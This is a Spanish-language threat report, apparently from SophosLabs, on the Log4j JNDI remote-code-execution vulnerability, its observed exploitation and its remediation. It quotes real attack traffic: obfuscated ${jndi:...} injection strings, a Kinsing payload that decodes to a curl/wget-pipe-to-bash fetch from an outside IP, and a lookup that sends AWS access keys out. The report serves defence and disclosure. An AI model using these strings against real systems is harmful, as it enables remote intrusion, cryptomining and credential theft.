El 9 de diciembre, se reveló una grave vulnerabilidad de código remoto en Log4J de Apache, un sistema de registro muy común utilizado por los desarrolladores de aplicaciones web y de servidor basadas en Java y otros lenguajes de programación. La vulnerabilidad afecta a una amplia gama de servicios y aplicaciones en servidores, lo que la hace extremadamente peligrosa por lo tanto las últimas actualizaciones para esas aplicaciones son urgentes.
La vulnerabilidad hace posible que un atacante pueda inyectar texto o parámetros en mensajes de registro en los logs que cargan código desde un servidor remoto; el servidor de destino ejecutará ese código mediante llamadas a la Interfaz de directorio y nombres de Java (JNDI). JNDI interactúa con varios servicios de red, incluyendo el Protocolo ligero de acceso a directorios (LDAP), el Servicio de nombres de dominio (DNS), la Interfaz remota de Java (RMI) y el Agente de solicitud de objetos comunes (CORBA). Sophos ha visto esfuerzos para explotar LDAP, DNS y RMI, utilizando una URL etiquetada a esos servicios redirigidos a un servidor externo.
Sophos ha detectado operaciones maliciosas de criptomineros que intentan aprovechar la vulnerabilidad, y hay informes creíbles de otras fuentes de que varias botnets automatizadas (como Mirai, Tsunami y Kinsing) también han comenzado a explotarla. Es probable que se produzcan rápidamente otros tipos de ataques, y cargas útiles. Si bien hay pasos que los operadores de servidores pueden tomar para mitigar la vulnerabilidad, la mejor solución es actualizar a la versión parchada, ya lanzada por Apache en Log4j 2.15.0. Sin embargo, implementar una actualización puede no ser tan simple, especialmente si las organizaciones no saben dónde se implementó como componente.
En el pasado, se han encontrado vulnerabilidades de inyección JNDI críticas similares en otros componentes de Java server, incluida una en la implementación del Protocolo Inter-ORB de Internet (IIOP) del servidor WebLogic de Oracle (CVE-2020-2551). Pero el uso generalizado de Log4J en software comercial y de código abierto conectado a Internet – servidores de aplicaciones web y móviles, servidores de correo electrónico (incluido el servidor de correo electrónico JAMES de Apache basado en Java) y servicios en la nube – hace que esta sea una vulnerabilidad especialmente difícil de rastrear y parchar. Las fallas anteriores en Log4J han sido mucho menos graves.
Sophos ha detectado cientos de miles de intentos desde el 9 de diciembre de ejecutar código de forma remota utilizando esta vulnerabilidad, y las búsquedas de registros de otras organizaciones (incluida Cloudflare) sugieren que la vulnerabilidad puede haber sido explotada abiertamente durante semanas antes de su exposición pública. Las instancias detectadas por Sophos han sido principalmente escaneos de la vulnerabilidad, pruebas de explotación e intentos de instalar criptomineros. También hemos visto intentos de extraer información de servicios, incluidas las llaves de Amazon Web Services y otros datos privados.
Cómo funciona el exploit Log4J
La falla en las versiones anteriores de Log4J es causada por una característica llamada sustitución de búsqueda de mensajes. Cuando está habilitado (como lo estaba, por defecto, antes del fix del bug), Log4j detectaría cadenas que hacen referencia a recursos JNDI en fuentes de configuración, mensajes de registro y parámetros pasados por aplicaciones. Debido a que Log4J no desinfecta las URLs pasadas en estas cadenas, un atacante puede crear solicitudes maliciosas a aplicaciones que usan Log4J que contienen cadenas de sustitución de mensajes en campos con una URL para un servidor malicioso.
En el caso de las aplicaciones web, la cadena podría ser parte de cualquier parte de una comunicación HTTP que se registraría, formateada como un comando de sustitución que hace referencia al servidor malicioso, en el formato ${jndi: [protocol]://[remote server and code address]}. Hay una variedad de formas de ofuscación que se utilizan para evitar la detección de escaneo o explotación, incluyendo el uso de cadenas anidadas para invocar la interfaz JNDI (como (${${::-j}${::-n}${::-d}${::-I})).
Cuando se pasan a Log4J, los comandos de búsqueda que usan JNDI dan como resultado que Log4J se comunique con un servidor (local o remoto) para obtener el código Java. En el escenario benigno, este código ayudaría a generar los datos que se pretenden registrar. Pero la esencia de esta vulnerabilidad es que este mismo mecanismo permite la ejecución de código Java remoto, malicioso y no verificado.
Herramientas como Interactsh facilitan todo esto, permitiendo a los atacantes emitir solicitudes donde los encabezados HTTP están modificados con cadenas maliciosas, construidas para provocar que la aplicación receptora realice la sustitución del mensaje, momento en el que la aplicación activa la vulnerabilidad y carga o ejecuta el código remoto.
A continuación se muestra una lista de los encabezados HTTP que se ven en una solicitud GET que ilustra al atacante que usa Interactsh para sondear servidores vulnerables, arrojando una referencia JNDI en casi todos los elementos de la solicitud:
referer=${jndi:ldap://[redacted].interact.sh},
x-http-host-override=${jndi:ldap://[redacted].interact.sh},
true-client-ip=${jndi:ldap://[redacted].interact.sh},
x-forwarded-port=443,
x-client-ip=${jndi:ldap://[redacted].interact.sh},
cf-connecting_ip=${jndi:ldap://[redacted].interact.sh},
x-forwarded-host=${jndi:ldap://[redacted].interact.sh},
contact=${jndi:ldap://[redacted].interact.sh},
host=[redacted].com,
from=${jndi:ldap://[redacted].interact.sh},
cache-control=no-transform,
x-forwarded-proto=https,
accept-language=en,
client-ip=${jndi:ldap://[redacted].interact.sh},
x-forwarded-for=${jndi:ldap://[redacted].interact.sh},
x-originating-ip=${jndi:ldap://[redacted].interact.sh},
x-host=${jndi:ldap://[redacted].interact.sh},
forwarded=${jndi:ldap://[redacted].interact.sh},
accept=*/*,
x-real-ip=${jndi:ldap://[redacted].interact.sh},
Cargas útiles
Muchos de los intentos iniciales que hemos visto para aprovechar el exploit Log4J se asociaron con criptomineros. Esto incluye Kinsing, una botnet relacionada con los mineros, que utiliza diferentes de métodos de ofuscación:
GET /?x=${jndi:ldap://93[.]189[.]42.8:5557/Basic/Command/Base64/
KGN1cmwgLXMgOTMuMTg5LjQyLjgvbGguc2h8fHdnZXQgLXEgLU8tIDkzLjE4OS40Mi44L2xoLnNoKXxiYXNo}
HTTP/1.1" 200 3440 "${jndi:${lower:l}${lower:d}${lower:a}${lower:p}
://93[.]189.42.8:5557/Basic/Command/Base64/KGN1cmwgLXMgOTMuMTg5LjQyLjgvbGguc2h8fHdnZXQgL
XEgLU8tIDkzLjE4OS40Mi44L2xoLnNoKXxiYXNo}"
"${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://93[.]189.42.8:5557
/Basic/Command/Base64/KGN1cmwgLXMgOTMuMTg5LjQyLjgvbGguc2h8fHdnZXQgLXEgLU8tIDkzLjE4OS40M
i44L2xoLnNoKXxiYXNo}"
El contenido de la URL incluye un comando codificado en Base64:
(curl -s 93.189.42.8/lh.sh||wget -q -O- 93.189.42.8/lh.sh)|bash
Sophos también ha registrado intentos de revelar llaves de acceso de AWS desde un host utilizando la vulnerabilidad Log4J utilizando otra técnica de ofuscación para evadir la detección de las llamadas JNDI. Estas cadenas intentan que el punto final de destino devuelva la variable ambiental utilizada por los programas que interactúan con los recursos de AWS:
"GET /a1${${env:lsweqw:-j}ndi${env:lsweqw:-:}${env:lsweqw:-r}mi${env:lsweqw:-:}
//[MASKED_IP}/dupa123/MASKED_HOST:80/gp/${env:USER}/${env:AWS_ACCESS_KEY_ID}/
${env:AWS_SECRET_ACCESS_KEY}/dupa1234} HTTP/1.1" 302 455 "aaaaa1${${env:lsweqw:-j}
ndi${env:lsweqw:-:}${env:lsweqw:-r}mi${env:lsweqw:-:}
//1[MASKED_IP}:1099/dupa123/MASKED_HOST:80/gr/${env:USER}/${env:AWS_ACCESS_KEY_ID}/
${env:AWS_SECRET_ACCESS_KEY}/dupa1234}" "aaaaa1${${env:lsweqw:-j}ndi${env:lsweqw:-:}
${env:lsweqw:-r}mi${env:lsweqw:-:}//[MASKED_IP]/dupa123/MASKED_HOST:80/ga/${env:USER}/
${env:AWS_ACCESS_KEY_ID}/${env:AWS_SECRET_ACCESS_KEY}/dupa1234}"
Detección y corrección
SophosLabs ha implementado una serie de reglas IPS para buscar tráfico que intente aprovechar la vulnerabilidad Log4J. Menos de un día después del despliegue, vimos un breve aumento en el tráfico objetivo. Durante el fin de semana, comenzó a aumentar, y el mayor aumento se produjo el sábado por la noche y el domingo por la mañana (UTC).
La gran mayoría de este tráfico (alrededor del 90%) usaba el protocolo LDAP como el objetivo de los exploits; subconjuntos más pequeños utilizaron DNS y RMI. Al examinarlo, parte de este tráfico pudo haber sido escaneos internos en busca de la vulnerabilidad por parte de las organizaciones, pero gran parte parecía ser pruebas de sistemas explotables por parte de los atacantes. Una muestra de solicitudes recopilada de telemetría mostró que muchas usaban Interactsh, mediante una variedad de técnicas de ofuscación para evadir las reglas que buscan “JNDI”, como estos intentos de usar la llamada RMI:
${${lower:j}${lower:n}${lower:d}i:${lower:rmi}://[identifier].interact.sh/poc}
${${lower:jndi}:${lower:rmi}://[identifier].interact.sh/poc}
${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}:
//[identifier].interact.sh/poc}
Resolver la vulnerabilidad de Log4J requiere una defensa en profundidad. Las organizaciones deben implementar reglas para bloquear el tráfico de explotación de todos los servicios conectados a Internet (Sophos IPS actualmente bloquea el tráfico que coincide con las firmas de explotación conocidas de Log4J). Pero la protección a largo plazo requerirá identificar y actualizar instancias de Log4J o mitigar el problema cambiando la configuración en Log4J (ya sea a través de archivos de configuración XML o YAML en la raíz de la configuración de Log4J, o mediante programación). Lo anterior puede requerir cambios de código en productos donde Log4J está embebido.
SophosLabs desea agradecer a Fraser Howard, Hardik Shah, Gabor Szappanos y Mukesh Kumar por sus aportes a este informe.
Leave a Reply